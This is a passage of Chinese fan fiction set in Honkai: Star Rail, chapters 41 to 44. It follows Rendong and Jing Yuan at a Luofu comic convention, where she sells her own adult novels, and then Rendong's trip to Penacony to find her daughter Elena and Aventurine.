三月七还是第一次见景元私下的样子,突然触及这类场面,唰的转头,脸颊涨红的扯着星的衣袖。
星淡然看了那边几眼,拉着三月七就跟着彦卿他们踏入了厨房。
现在,是饭点啊!
彦卿:“一会儿拦住开拓者,她绝对会往饭里加古怪东西!至于三月小姐……也一起拦着吧!”
乒乒乓乓的声响自厨房传来,不用去看,便能感受到热闹。
忍冬跟景元坐在小院里,看着天空中的圆月,微风带来了周围人家的饭菜香气,时光悠然。
41.遇明月
金人巷进入平稳运行期后,罗浮上的事大致就告一段落了。
星将要随着列车组成员决定下一个目的地,砂金也结束了这场名为出差实为摸鱼的工作,艾莲娜的假期结束了,踏上了回校的飞舰,短暂的相聚散作了满天星。
忍冬稍微感觉有点冷清了。
叮咚——
玉兆弹出了一条消息,忍冬无谓的点开,一眼,便被抓住了兴趣。
【罗浮特大漫展激情筹备中!此次将并和小说界一同举行!还在忧愁自己的癖好不能过审吗?快来这里吧!不同喜好,不同种类的定制本在等着你!】
这个……看起来很有趣欸!
忍冬双眼唰啦明亮起来,脸颊浮上浅浅薄红。她立刻点开报名网页,起了一个假名报了上去。
忍冬:“身份编码都要收集,应该不会出现不明人士混入场内的乱象吧……哈哈,希望不要出幺蛾子,这可是我难得打算去参加的线下活动欸……”
一路嘀嘀咕咕中,忍冬的背影远离了星槎海。
回到家里,忍冬点开一个电子文档,链接上打印机,刷刷几下,便印出了三份试看本。
折合起来顶多十几万字,连名字都没有的小短篇,其中,都是些不能过审的涩涩字眼。
“我好歹是成年人,看点涩涩怎么了?明明科技发达至今,还不能智能拦截未成年……这难道是我这个还未脱离兽性的人类的错误了?”
忍冬对着空气无声低语。她知道,这些话大抵是没有人听的。
毕竟,谁能承认犯下那种罪行的人是自身大脑在下三路的问题呢?
“人类自诩文明,可贪婪好色依旧无法根除。既有这些□□,承认自己的低劣是很艰难的事啊~”
忍冬仔细检查过文本,没有发现错字后,试水的每份印制了十份,把书房内景元囤积的纸张全部用完了。
手捏着尚还温热,散发着油墨气息的纸页,忍冬空浮的内心落到了实处。
“我果然还是偏爱安定啊~”
漫展当天,作为一个只远远听闻而没有近距离接触过的圈外人,忍冬鬼祟的穿了一件连帽长袍,还戴了黑色口罩,主打一个掩人耳目。
抱着一纸箱装订本的景元也被按着脑袋戴上了帽子,那头蓬松的白发被一根根细心遮挡在其下。就连脸上,都带着跟忍冬如出一辙的黑口罩。
但还是太注目了……
漫展,是化外民传来的新奇玩意儿。有很多仙舟人一踏入,便自然混成其中的一员,没有半点违和。
毕竟拼宅力什么的,长寿无聊的仙舟人才不会输啊!
罗浮举办的这个漫展,虽在地衡司报备过,但实际上主办人是一个相应行业的化外民。
他们看中了仙舟这片广大的蓝海,所以这些年一直试试探探的有类似举动。比如办漫展啊、引进动漫啊、主题店铺之类的……
所以,吸引来的仙舟人都是些还在学宫的小年轻……和特地从仙舟之外赶来的化外民。
听他们说,每次漫展都是独一无二的,幸运的话,还可能淘到独家绝版本子!
啊,忍冬手里的如果之后不打算印了,也算得上他们嘴里说的这类。
忍冬支起小桌子和两张小凳子,摆上一个立牌,标明了相关内容,就招手叫景元把纸箱放下了。
他们来得还算早,场内人稀稀拉拉的。忍冬把一直塞在包里的纸袋拿了出来,打开,从中挑了一个尚还成型的包子递给了景元:“早饭,虽然有点凉也有点软趴了……”
景元接过,坐到了忍冬身旁另一张小凳子上。高大的身材对比着小巧的凳子,几乎让人看出一点委屈来。
他伸手拉下口罩,骨节分明的大手在春日稍显冰凉的空气中凸显出了几根淡色的青筋,无端显得引人至极。
忍冬看了他的手一眼,也从纸袋内拿出一个包子,咬了一口,看向场馆渐渐涌入的人潮出神起来。
景元自她从空间站回来后,好像就开始抽出更多时间陪伴她了。连往日放心不下的工作,都开始试着放手让符玄去接手。他在试图加速符玄的成长。
忍冬不清楚这项举动对景元来说值不值,但在逐渐打开心门的当下,景元不提,她便不问。
只不过自然的在身旁准备好两人份的东西,吃的也好,玩的也好,忍冬都会给景元专门准备一份。
时间到了十点,外面艳阳高照,场馆内人声鼎沸,连忍冬这个面生的小摊都迎来了几位顾客,卖出去了三本本子……啊,说本子也不对,还是叫小说吧……
总之,大致的摊位都已经准备就绪了。
忍冬拍了拍景元的肩,在一些热切视线看着这里窃窃私语的时候,一脸正气吩咐说:“这里就交给你了!我去去就回!”
景元眼神扫过周围那些隐含着兴奋的视线,抬头盯着忍冬,眼里带点即将被抛弃的怨念。
“咳!会回来的,我保证……”,忍冬举手发誓,五根昂扬的指尖向着天空。
景元看着她正大光明的糊弄,怨念满满:“夫人~说大话可是该被天打雷劈的……”
“这怎么是大话呢?”忍冬一挥手,八百岁的年纪热血得跟一两百岁的小年轻一样,“逛遍摊位回来也是回来啊!”
“果然吗……”景元叹气,指尖作势将要掀起脸上的口罩。
“欸等等!”忍冬一把按住他的手,话音一转,“不过话又说回来,我不能丢下你不管!我就逛逛周围,买几本书和周边就回来。”
景元看着面前这双噌亮的碧瞳,眼睫轻眨,清粼粼的金色瞳底印着她的身影,嗓音含笑,说:“那可说定了~不遵守的话……嗯,夏日炎热,夫人的身边较为冰凉,还望到时可别嫌弃景元啊~”
“不会不会!”忍冬急忙摆手,转身跑路的背影显得格外狼狈。
景元坐在这里看着她的背影混入人潮,渐渐的看不见了。
忍冬确实打算遵守跟景元的约定,但无奈人真的太多了!罗浮上什么时候有那么多御宅族了?!
在发挥身体优势手快抢到几本心仪的本子后,忍冬还想去抢周边。
无奈见她手里的大热战利品,周围的人都很戒备她,双双进入狂暴状态。她不敌,落败被挤到了一个角落。
虽是春日,但已能初窥夏日的燥热。忍冬在人潮里杀进杀出,口干舌燥。见无法再跟那些人有一战之力,转头就找起了周围的甜水铺子。
一眼,就看见了穿过一道门,摆在路边的奶茶摊。
忍冬忍不住诱惑走了过去,手中提着一个临时找到的透明袋子,装着几本封面平平无奇,只能隐约望见几个零碎字眼的书名的简陋书本。
额头冒着细汗的忍冬看了看这奶茶摊子上
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的招牌,迷惑至极的说:“梦茗啊,你这都什么名字啊?‘好喝到噗咩噗咩的蓝莓波波布丁奶茶’?‘尽享恋爱美妙的草莓芝士啵啵奶盖’?怎么名字突然变那么长了?不夜侯新营销策略?”
梦茗站在小摊后的一张木凳上,头顶的狐耳抖了一下,笑容满分说:“是忍冬小姐啊?也来参加这里的漫展吗?唔,名字什么的,当然得与时俱进了!就算内容没有变,但名字变了,是不是显得能卖更贵了?这里聚集的可都是舍得花钱的大客户啊~”
忍冬看着梦茗圆圆的脸蛋上挂着的狂热笑容,懵逼了一会儿。随着天气与劳累呼出的燥热气,她回神指着梦茗摊位上的两款招牌奶茶说:“这两款,各来一杯,大杯加冰。”
梦茗挽起自己的小胳膊,拿着做奶茶的器具就哐哐操作了起来,顺带还一边嘀咕:“这名字是长了点,但很好听啊!为什么不念啊?老年人的羞耻心?”
忍冬:“真抱歉啊,老年人也要脸面的!你别说话了,不要仗着跟我熟就不把我当顾客啊?不是说顾客是上帝吗?你的上帝要求你别说了,她不想听。”
就在忍冬等待的时候,又有人三三两两往奶茶摊位来了。
一个个接连看着招牌上的菜单,无声指指点点。
在梦茗为她准备奶茶期间,忍冬只听见一位独身的小女孩念出了奶茶的名字。
故作可爱的叠词,意义不明的拟声词。那个小女孩念完后,在摊位等着的人不自觉看向她的视线中,低下了头,可见的脸颊隐约有着一抹粉白。
忍冬回头接过梦茗递过来的奶茶,付钱之后,立刻插上了吸管,边喝边拎着另一杯奶茶回去了。
路上,她还饶有兴趣的想着刚才那个女孩。
后知后觉的社死,迟钝慢热的性格……好像很有看头啊?她都有点喜欢这么存粹的孩子了。
一抹身影跟她擦身而过,在四周遍布的人群里,显得很是平常。
但那抹她陌生又无端熟悉的冷香侵袭而过的一瞬,忍冬猛然回头,眼睛定在了一道快速消失的背影上。
白发略带点蓝,窈窕高挺的身姿,走动间不小心擦过,便可能触及一手冰冷的剑意。
在忍冬的大脑意识回归以前,她的身体就自觉跑动了起来,艰难穿过人群想追过去。
别、别走……景元他很想念你啊……我、我……
高悬的明月没有回头,连背影都带着寒霜的冷意,跟忍冬记忆中突然涌现的那位白色狐人冲入黑日的身影重合了。
在接连撞上了几位路人,被拖入道歉漩涡后,忍冬刚提起的气泄下了。
她解决完自己的莽撞,走向自己的小摊途中,想着那抹身影,突兀笑出了声。
周围人不断诧异看向她,又移开视线。忍冬伸手抵在了额前,挡住了自己的眼睛。
原来还是在意吗……连以为已经忘记的那时都还深深的牢记着啊……
明月很久以前可能不是明月,是太阳,是恒星。在他们无法触及的过去,她变成了高悬的冷月。
景元仰慕她,所以念念不忘。可她呢?只因景元才对她有一抹执念吗?
“想要月亮奔我而来,可我又凭何呢?”
那般强大的人啊,落入如今的境地,忍冬既怜惜,又知道自己没资格怜惜。
“这大约是因为,她曾是我期望的模样吧?”
42.种子
回到摊位,忍冬发现自己的小摊被很多年轻女孩围住了。
怎么回事?我的书很受欢迎?不可能啊……
忍冬眼神一厉,瞬间想起了一个可能。她飞奔到小摊前,不顾女孩们的抱怨,大力挤到了里面。
但里面却不是她以为的景元暴露了,一个个都在遵规守纪的买书。只不过……
“欸~帅哥,就给我们看看脸吧?你身材很好,脸蛋也绝对好看!一定适合出这个角色的!更别说你跟将军有那么多相似点了!来吧!”
站在景元身前接过书本的女孩看也没看手中的书,眼神灼灼的盯着他,眼里的狂热都快喷出来了。
在忍冬暗自警惕的时候,景元拒绝了。那女孩却出乎预料的乖乖转身,离开摊位,走到不远处叹惋的又看了这边一眼,就跟着自己的同伴离开了。
下一位女孩依旧盯着景元,重复着让他出什么角色的对话。宛如流水线熟练工一般的流程,在忍冬愣神期间,景元已经送走了三位。
然后他摊摊手,对女孩们说:“很抱歉,书都售完了。请离开吧,我夫人回来了。”
忍冬接到景元暗含指责的视线,扯了扯脸上的口罩,确定好好的戴在脸上后,挤过人群,大方的走到了他身旁。转头对女孩们说:“很感谢诸位乐意购买本摊位的小说,但小本经营,存量不多,下次会更多考虑的~”
虽做到了体面,但话里话外赶客的意味很明显。
景元诧异的看了忍冬一眼,对于她这仿若含着火气的话虽不解,还是顺着说了下去。
“欢迎各位下次再来~”
等女孩们散开后,景元撤下了桌面的小立牌,把空了的纸箱往桌底一塞,转头专注的看着忍冬。
忍冬把另一杯奶茶放到景元面前,示意他接过。在景元抽出吸管插入,喝了一口时,忍冬冷不丁说:“我见到镜流小姐了。”
“噗,咳咳咳……”
忍冬手中刚才抽出拿着的纸张糊到景元嘴巴边,把将要喷出的奶茶都堵在了纸上。顺手擦干净后,见景元咳得撕心裂肺的样,忍冬幽幽望着他。
“你知道。”忍冬的未尽之言还有,他没跟她说……
“不、咳,不是这样!我绝对没有想隐瞒的意思!只是涉及仙舟上层,我最初不愿把你牵扯进去。后来由于拖的时间长了,我就不知道怎么开口了……”
景元的神色暗淡了,心底的惶惑在这个时候飞涨。
忍冬说她不会放过他。可若即若离的距离,与对他过去的在意,总是让他很担心,担心哪天她就变卦离开了。
他总是不能阻止她,因为少年时确有的年少慕艾,因为他深知她是如此一个没有安全感的人。
威风凌凌的白狮像只垂头丧气的卷毛小狗,跟她同色的帽子和堆在下巴上的口罩,还有身上的黑色衬衣,显出一种即将黑化的气息。
忍冬伸手快速掐住他的脸肉,居高临下的站着,挑眉睨着坐在小凳子上的他,眼里的不善几乎将要凝成实体。
“我是为了看你这副样子吗?!我是让你前前后后都给我解释清楚!”
就算清楚景元这副情绪低落的状态来源,但已经放开心结的忍冬表示,没必要,真的没必要!她只是想要一个解释啊!
景元抬眼细细扫过忍冬脸上的每一寸,没有发现任何可疑迹象。虽还是心有疑虑,但他还是按捺下来,低声说起了之前罗浮事变的另一面。
“嗯?那位罗刹大夫跟镜流小姐是合作关系?啊,细节倒不用说,你不用一脸纠结要不要违背职业守则的样子。”
忍冬回想起那位跟她短暂同路过一段的游医,摸着下巴说起了后知后觉发现的疑点。
“背着一个大盒子,原来是棺材吗?里面想必就是星核了吧?”,忍冬扫了一眼景元看着她欲言又止的脸,无奈了:“我猜出来很正常吧?虽说没有全程跟进,但好歹了解过一点。加上星跟我的关系,这答案不是摆在我面前嘛?”
“倒是你……”忍冬掐着景元脸蛋的手改为抚按,指尖陷入温热的肌肤,“好像变得很没有安全感啊?不相信我吗?”
“木有……”,脸肉被戳起一个窝窝,景元感觉到忍冬的指尖抵着他的牙床,还按了几下。他的回话模糊带着些心不在焉。
“嗯?没有?”,忍冬很少对他人展现自己的恶趣味,比如喜欢看人糗迫啦,喜欢有意让人难堪啦……姥姥对她的教育对这些举动是严加禁止的。至今,她仅在焕蓝面前暴露过。
而景元于她太像一轮低悬而来的明月,让她欣喜,也让她被动。
忍冬的眼睛明亮有神,天然浓黑的眼睫似晕染出一圈黑色眼线,上挑的眼尾在此加持下,目不转睛盯着他的嘴。坏心思不用猜,景元看她的眼神就大致知道了。
“不行……”,此时弱气的拒绝就跟欲拒还迎一般,忍冬食指扣入了景元的唇瓣,触及到了湿润的最边沿。
忍冬了然的看着他,唇边上翘:“不行你倒是推开啊?我武力又不如你~”
……
“欸?那边的好像是忍冬小姐吧?我去打招呼!”
桂乃芬既决定暂时留在罗浮,那么她的直播事业就必须坚持下去!要说今日罗浮最火爆的消息,那无疑是开办当天就冲上热搜的此处漫展了。
得到消息的瞬间,桂乃芬立刻启程。于半路遇见了停留在罗浮的素裳,两人一拍即合,一同前往。
在走入的瞬间,她们就差点被人潮挤成肉饼。
最后还是开拓者路过发现,拉了她们一把。但救出她们后,她转身就不见了踪影。
桂乃芬看向场馆内,就看见了忍冬的背影。
素裳觑着眼使劲瞧那道高挑穿黑衣,连头上都戴着兜帽的背影,除了隐约看见的从兜帽边露出的黑色长发,她实在看不出这人是不是忍冬小姐。
还没等她反应过来,桂乃芬已经像只撒手没的谛听,向那道背影的方向跑了过去,欢快的招着手。
素裳无奈,也快速越过周边的人跟了过去。
忍冬把抵着景元犬齿的手收回,自然在他身上抹掉了沾上的口水,还扯着景元的衣袖宛如抹布擦掉了他唇畔的水渍。转脸,立刻一脸正经人模样,挪开了挡住景元的身体,坐下了。
桂乃芬兴冲冲的脚步一顿,见到忍冬坐下后露出的坐在凳子上的人,心头闪过一抹疑
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虑。但想到那人的身份,很快便抛之脑后了。
“忍冬小姐!近日可好?很幸运在此处遇见你!可以陪我开直播吗?”,桂乃芬嘴里说着仙舟本地人也很少说了的敬语,在这种稍显散漫的场合让人听来有点别扭。
但无奈跟着她的是语文非常不好的素裳,面对的是根本不在意这些的忍冬。
忍冬笑了一声,拒绝了。
“抱歉哦~小桂子~我今天的目标已经达成了,还得赶着回家吃饭呢~”
放飞自我之后,忍冬说话行事开始往轻挑散漫的方向滑去,尽管她本人并不觉得。
桂乃芬虽很遗憾,但作为认识的不太熟的人,她没办法把忍冬当成开拓者来相处。这次大脑充血的冲动,已经是她很难得的勇敢了。毕竟年纪是她的长辈的长辈的……数不清多少倍的长辈呢。
忍冬开始动手收拾东西,桂乃芬觉得来都来了,打算搭一把手。还让后来的素裳拿着摄像机,让她拍摄这一过程。
“只拍视频作为素材,之后会把你、你们……将、将军?!”,桂乃芬转头解释的话在尾声破音喊了出来。
但在周围人唰的看过来的视线中,很快反应过来磕绊着描补了几句:“原、原来你也是将军的粉丝吗?啊,仰慕将军想让我给你要签名?不行啊,我只是认识开拓者,跟将军不熟啊……”
景元提着折叠小凳子,接话也不是,沉默也不是。
怎么办?继续让她把视线引过来的话,可能会暴露呢……
忍冬一把抓住了桂乃芬的手,在认识她的三人面前,一脸虚假违和的热切,声音稍大的说:“小桂子!不用理我家那口子的异想天开!你来这里是打算拍视频吗?能让我出镜吗?我很想认识开拓者小姐啊……”
“欸?可、可以?”,桂乃芬探头探脑。还没等她高兴,忍冬借着拉手凑近她身边悄声说:“视线帮你拉过来了,我们就先离开了~拍摄加油~”
“小桂子!是小桂子!”,后知后觉反应过来的人指着桂乃芬惊呼,周围看过绥园直播的人都好奇凑了过来。
乘此机会,忍冬拉着已经收拾好东西的景元宛如滑动的鱼,一溜烟钻入人群中不见了身影。
桂乃芬得到了很好的视频素材,在漫展的人帮助下。而忍冬得到了列车组将要启程的消息。
钟表匠的遗产,一颗巨大的投水之石,匹诺康尼风波将起。
忍冬很担心,因为艾莲娜还在那里。
匹诺康尼以几代前的列车开拓者钟表匠协同几位同伴一起发展壮大,他遗留下的遗产,会是很多人躁动欲望的化身。
更别说……星告诉了她,这次目的地的更改也有星核猎手影响。
就算艾莲娜怎么在电话那头安慰她,但养女拒不回来的选择还是让忍冬决定,她要去匹诺康尼!
在此之前……忍冬把一个生机勃勃的绿色小藤球交给了景元。
“我不会出事,这个你拿着,别让其他人发现了。只要它没事,我就会没事。”
结合黑塔的智慧跟她的能力,这是实验诞生出的唯一结果。
一颗……可以让忍冬本体死亡后再长出来的“种子”。
43.心慌慌
忍冬独自乘坐飞船来到了匹诺康尼。
一下飞船,艾莲娜就出现迎了上来。
“你一直在这里等着?”,忍冬伸手拂过艾莲娜的发顶,见她担忧的眼,微笑着说:“不用担心,我跟景元没有问题。他同意了的。”
艾莲娜肉眼可见的松了一口气,微带点责怪对忍冬说:“您真是的,怎么能这般不顾自身安危呢?匹诺康尼眼见着将发生点什么,知道的大多都躲得远远的。就您,居然为了我专门过来了。”
“哎呀,艾莲娜也会撒娇了呢~”
艾莲娜胆大的横了她一眼,鼻尖皱了皱,语音沉闷的轻哼了几声。
“这可不是撒娇,我是在生气!”
忍冬当然能看出来艾莲娜在生气,但是,这一趟她也不能不来。
笑眯眯的忍冬浑身散发起了恐怖的气势,身后恍惚开满了黑色曼陀罗。
艾莲娜揉了揉眼再看时,却见忍冬的笑脸依旧温和如旭。她柔声问她:“亲爱的,你怎么了?好像有点精神不济啊?”
啊……不是错觉啊……
艾莲娜一听这句亲爱的,浑身的汗毛都下意识的竖了起来。
她搓了搓感觉到一股冷意的胳膊,讪笑着,试探的打量着忍冬:“忍冬妈妈,你……”
在艾莲娜将要说出自己隐瞒的事时,忍冬的笑脸正正转着面向了她。曼陀罗开得更盛,恍惚中,她好像都能闻见那股迷幻的香气了。
艾莲娜闭嘴了。
不管忍冬妈妈知不知道,以她这股突然爆发的怒气来看,她还是不要当出头鸟了。
反正忍冬妈妈不是会愤怒牵连她的人,她还是单纯当个看客好了。
至于卡卡瓦夏……天要人灭,人不得不灭啊……
在这种时候撞到忍冬妈妈手上,真的会被请吃竹笋炒肉吧……
乖巧的女儿艾莲娜当下变成了忍冬妈妈的贴心小棉袄,牵引介绍,极尽温柔之能事。
可她这幅样子,更让忍冬确定自己得到的消息的真实性了。
忍冬捏着水杯的手青筋蹦起,牙齿咬得咯咯作响。
你最好别真干什么出格的事,卡卡瓦夏,你个混小子!
艾莲娜看见了忍冬手中的钢铁水杯瞬间凹陷崩裂出的裂痕,但她依旧安静如鸡,乖乖当着自己的好孩子。
忍冬妈妈好像有很多朋友来着,不只在罗浮上……
匹诺康尼依旧如同前一次来时一样繁华,醉生梦死的气氛,连呼吸的空气中都漂浮着散溢的金钱气息。
忍冬在酒店住下了,并且天天前往折纸大学,盯着艾莲娜。
她已经听好几个路过的人碎嘴时说,列车组已经到了,连公司高层也来了。但不知为何,这里的普通人好像不知道什么钟表匠的遗产。
所以她盯艾莲娜更紧了。
卡卡瓦夏的动向能瞒过她,但一定瞒不过艾莲娜!
直到听闻黄金的时刻出事。
匹诺康尼以忆质为基底,打造出了寰宇向往的繁华玩乐之地。它跟近百年出现的以太战线类似,是人类幻想中的梦幻乡,一切奢望实现之地。
虽然现实并不是如此吧……但进入梦里,享受吃不尽的美食,体会各种现实无法见到的美丽,还是让很多人心驰神往。
因为它没有死亡,是虚幻之地……
但今日,一个小混蛋以自身为赌注,撕开了这一谎言。
站在折纸大学里,忍冬都能看见那道斩裂出的刀痕,蔓延到头顶。身旁,艾莲娜也浑身不安,而且念起了一则祈祷似的话语。
“……愿母神三度为你阖眼,令你的血脉永远鼓动,旅途永远……”*
忍冬没有细听,拉着艾莲娜的手腕,转身就往黄金的时刻奔去。
虽是并列的梦境,但在梦中,要是实打实想前往另一个梦境,还是得徒步走到本梦境的边界,通过此处选择去往下一个梦境目的地。
忍冬专注的跑着,速度极快,胸腔沉闷又炙热,呼哧呼哧喘着粗气。
艾莲娜在跑动的途中念完了最后的祝愿,默默提速跟上了忍冬,没有再让她拉着。
她们赶上了残局的末尾,一地散落的金色筹码,跟早已消失变成忆泡的卡卡瓦夏。
忍冬站着,看着被猎犬围住的广场,沉默了好久。身旁的艾莲娜情绪沉重,想开口说点什么,但艰涩的语言实在难以冒出喉咙。
“……艾莲娜事先知道的吧?”略微嘶哑的嗓音响起,情绪晦涩。忍冬没有看她,而是望着她们前方不远处的一枚金色筹码怔愣。
“……我,知道。”艾莲娜想说卡卡瓦夏不会出事,可这话在咽喉里轮转了一圈,怎么也吐不出来。
天空中的裂缝斑驳黑红,残留的力量连流转在梦境中的忆质都无法快速消除。她实在无法说出这种虚假糊弄的话,特别对着忍冬,这位真心对她的恩人。
“他是怎么说的?能让你也同意这样的冒险。”忍冬转头,皱眉看着艾莲娜,“走吧,我们该去找找星了。”
面对艾莲娜的无言,忍冬快刀斩乱麻,立刻想起了同样深陷此地漩涡的列车组成员。
她转身向后走,艾莲娜跟着她。迈过几步后,忍冬突然转身,急促走到那枚筹码前,低身捡了起来,握在了手心。
起身,走到默默看着的艾莲娜面前,说:“走吧,估摸清楚情况。一切结束后,我有的是时间收拾你俩。”
作为一个虽不为生母,但自诩做到了一个半路母亲该有的关怀和教育的忍冬表示,你们这是在打我脸!她的教育可没有这种以小博大,隐瞒不报,不顾安危的观念!
回到现实,忍冬先在酒店里寻找星。在侍者带领她来到星的房门,敲了几分钟依旧没人应声的情况下,她又去找了列车组的其他几位,但依旧没人回应。
忍冬皱眉,想到梦境内橡木家系对卡卡瓦夏的搜查,跟那位不知名却砍裂了半边天空的神秘人士,她猜测,列车组应该仍还滞留在梦境内。
……但找不到。
忍冬跟艾莲娜找遍了匹诺康尼全部的开放梦境,连同艾莲娜的兼职梦境打灰工的身份都利用上了,建立好的梦境边界也没有星的身影。
人会在哪儿呢
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“哎呀呀~这位貌美的夫人~跟……哦~小金毛的姐姐~你们好像很焦急啊?”一道戏谑带着调笑的少女音在她们身后响起。
忍冬和艾莲娜戒备转身,手不自觉摸上了武器,眼睛下移,看见了一位带着面具的少女。
“这个动作真不令人喜欢~不管是眼睛还是手。”但少女一拍手掌,声调高昂,乐趣满满的说:“但算了~你们想必有更烦恼的事吧~我只是来看热闹的~不必这般防备。”
“更重要的……你们身后跟了小狗哦~戒备~杀意~欢乐的喜剧!”
忍冬眉间皱起了川字,手捏着鞭把紧了几分。艾莲娜手腕翻转,一柄血色弯道贴合着手臂,她问:“阁下知道我那不安分的弟弟?”
“欢乐、喜剧、欢、乐、喜……”砰!少女周身笼罩在一阵烟雾中,忍冬跟艾莲娜一个警惕四顾,一个冲向了烟雾。
但烟雾散去,地面只剩下一个少女玩偶,脸蛋还是对着她们调戏的笑容表情。
艾莲娜一把抓起玩偶,忍冬紧随其后,两人突然速度极快的冲向了梦境边界。
“她们跑了!快追!”
身后一串的喧闹追击声,艾莲娜捏紧了手中捡到的纸条,神色凝重的对忍冬说:“忍冬妈妈,我们可能得冒点险了……”
“是‘死亡’吧?匹诺康尼隐藏的背面。”忍冬见艾莲娜的表情,猜了出来。
艾莲娜点头,夹着玩偶的手臂捏紧,面色沉重。本来没想把忍冬妈妈牵扯进来……但都到这种时候了,被家族抓住虽然不会有生命危险,但同谐的影响太大了,她不能赌。
暂时甩掉猎犬的人后,艾莲娜本想让忍冬对她动手,自己回到现实的白日梦酒店。
但无奈忍冬捅她很利落,捅自己也拦都拦不住。就一眨眼,艾莲娜肚腹破了一个大洞,忍冬快速抽出艾莲娜的弯刀,插了自己致命处一刀。
眼睛最后能清晰看见的,是身体散成的众多小泡沫。迷蒙的忍冬昏睡了过去。
于此同时,远在罗浮把玩着手中小藤球的景元,却突然发现它散发出一阵亮丽的绿光,然后黯淡了下去。不等景元慌乱,小藤球的绿光又亮了起来,恢复了之前的样子。
景元慌乱中,手臂扫落了一旁的茶杯,咔嚓一声,瓷片飞溅,茶水流了满地。
忙碌办公的文员看了过来,难得待在景元身边待命的彦卿立马拿着扫帚上前,处理了起来。问他:“将军,怎么了?”
景元攥着小藤球的手捏紧,抿了抿唇,定神道:“没事,一时疏忽。”
“哦……”彦卿虽然看出将军有事瞒着他,但无奈匹诺康尼那边的事闹得还挺大,且卡卡瓦夏牵扯了进去,师娘和艾莲娜也在那边。所以仙舟那些老不死的专门派了人来盯着将军,就指望他在这种时候出现差池,好让他们往罗浮插手。
据彦卿所知,周围装作忙碌来往的好几位其他仙舟来客,都是上面派过来的。
还好,将军已经开始培养太卜大人了。大概不用多久,将军就能退休,跟师娘游山玩水去了!也不用被困在罗浮,进退不得……
44.鸽子咕咕~
就像睡了一觉,醒来的忍冬没有半分不适。她打眼看着周围跟黄金的时刻截然相反的环境,心里的不爽就快越至顶峰了。
但……招待她的是一位小姑娘。
“小、小姐,感觉如何?有没有不舒服的地方?”小姑娘叫轻涟,一个从眼神到话语都可看出的羞涩女孩。
她温暖真诚的担忧,让忍冬压下了躲过猎犬后重新冒头的愤怒。忍冬定神,问她:“我没有问题,但跟我一起的还有我的女儿,叫艾莲娜。你知道她在哪儿吗?”
“艾莲娜……?”轻涟思索了一会儿,抱歉的对她说:“我不认识这位小姐。”
虽然清楚以艾莲娜的武力值,这里应该没有什么会对她造成危害,但忍冬还是很担心。
她活动了一下四肢,四处打量着周围,询问轻涟:“对了,还没有询问这里是哪里?”
“流梦礁,这里是流梦礁!小姐你是眠眠带来的。”轻涟答道。
“好的,感谢你的照顾。但现在我得先去找艾莲娜了,之后会专门来拜访的。”说完,没等轻涟回答。忍冬就近翻过了一旁的窗户,跳了出去。
“欸?!小姐!等等……”
轻涟的声音被抛在了身后,忍冬快速在这片黑沉的小镇中移动了起来,向中心区域而去。
这里很明显还是梦境中,但跟金碧辉煌的黄金的时刻等梦境不同,显得荒凉破败,人烟稀少。可忍冬就是能从这样的地方看出真实与生机。
在忍冬观察的时候,一不留神,她撞上了星,在一处下水道口。
星手中攥着的铁质漏板飞了出去,伴随着一阵说不出是油腻还是调侃的男声,本来喷着腾腾蒸汽的下水道,很快恢复了正常样子。
“哦~”美声腔,星挥舞着自己刚扒拉过下水道的手就想握住忍冬的手,“这真是命运的邂逅,不是吗?甜心~”
忍冬飞快后退几步,微笑着问她:“……是又没吃药吗?”
星:“药?药药切克闹!”
“确实挺闹的……星你看见艾莲娜了吗?她跟我一起,可能被送到这里来了。”忍冬隔着一段安全距离询问星。
星用自己没有洗过的手扒拉头发,沉思着沉思着,就在忍冬快要等待不下去时,一脸恍然大悟的捶手:“原来刚才的不是幻觉吗?我还以为砂金美人的遭遇让我神思不属,幻想出了性转版呢!”
“性转……你这家伙,明明见过艾莲娜吧?”忍冬微笑着的嘴角压不住的抽搐,从随身口袋内掏出了唯一一条在身的手帕,使了一点力道甩到星的手中:“给你擦脸。”
星双手展开那块手帕,是很顺滑但又不至于显得很轻盈的丝绸质感,一处边角绣着白色的忍冬花。她试探的擦了擦脸,表情瞬间变得欣喜起来。
滑滑的,凉凉的,还有一股浅淡的药香……
星举起双手,一脸正义凌然:“报告!我要举报!”
……
“卡卡瓦夏!你向我保证过的!怎么这么严重?!”艾莲娜眼眶红了一圈,皱着眉头,手中不断掏出事先准备好的药瓶、纱布,给倚靠在墙角的弟弟上药。
“……没办法啊姐姐~家族可不是吃素的,以前在公司做出的事也让我不能停滞不前。”砂金的表皮褪去,卡卡瓦夏唇边含着一丝细微的笑意,眸光温柔的望着艾莲娜。
艾莲娜沉默了,手中利落包扎好暂时能处理的伤口,沉声问他:“你确定不找当地的医生处理你的伤吗?”
卡卡瓦夏沉默了。
姐弟俩面面相觑,不期然回想起了记忆中的一则往事。
在忍冬刚找回卡卡瓦夏时,这家伙完全被过往攥住了。不论是硬来还是软手段,他那股狂热的赌命姿态呈现在生活中的方方面面。
在发现艾莲娜管束不能时,忍冬强硬充当了一段时间的黑面神。
那段时间,卡卡瓦夏被忍冬带着艾莲娜盯着。吃喝拉撒,时时刻刻。就连上班,她们俩都专门去庇尔波因特租了一处房子跟着。
违反了忍冬定下的不许如末路狂徒一样赌博的规则,他就将迎来一场长跑马拉松,伴之时不时抽向他的长鞭。
那时候的忍冬,脾气暴烈,一点既炸,生生让卡卡瓦夏时刻赌命和泡在赌场的习惯消减了不少。
如今,这件事虽是出于他的工作要求,但光是他联合姐姐试图欺瞒忍冬妈妈……啊,感觉又能看见那时的红色鞭影了呢……
艾莲娜脸色也跟卡卡瓦夏一样,十分沉重。
刚到达这里,艾莲娜就仗着自己优越的身体素质苏醒了。带着一点做贼心虚,她把忍冬妈妈留在了那只迷因,据说叫眠眠的身边。还特意去找了算是朋友的加拉赫,叮嘱了不要泄露见过自己的话。
虽是为了卡卡瓦夏的安危着想,但……感觉她也看见鞭影了呢……
沉默,沉默,惊起鸽子咕咕。
“总、总之,先按着计划送你出去吧?忍冬妈妈那里……之后再说。”
逃避虽然可耻,但是很有用!起码说完这话,艾莲娜就不慌了。还莫名从心底涌起了一股无畏,眼神亮亮的望着卡卡瓦夏。
卡卡瓦夏能看懂,卡卡瓦夏很无奈。毕竟,他们俩干出的这些事,完全是在忍冬妈妈的底线上跳舞啊……
“咕咕~咕咕~”
“就这么决定了!”艾莲娜在外人面前是一副拒人千里之外的高岭之花,在忍冬面前是乖巧温柔的贴心小棉袄,但在弟弟卡卡瓦夏面前,她本人的随性大胆全然不输砂金。
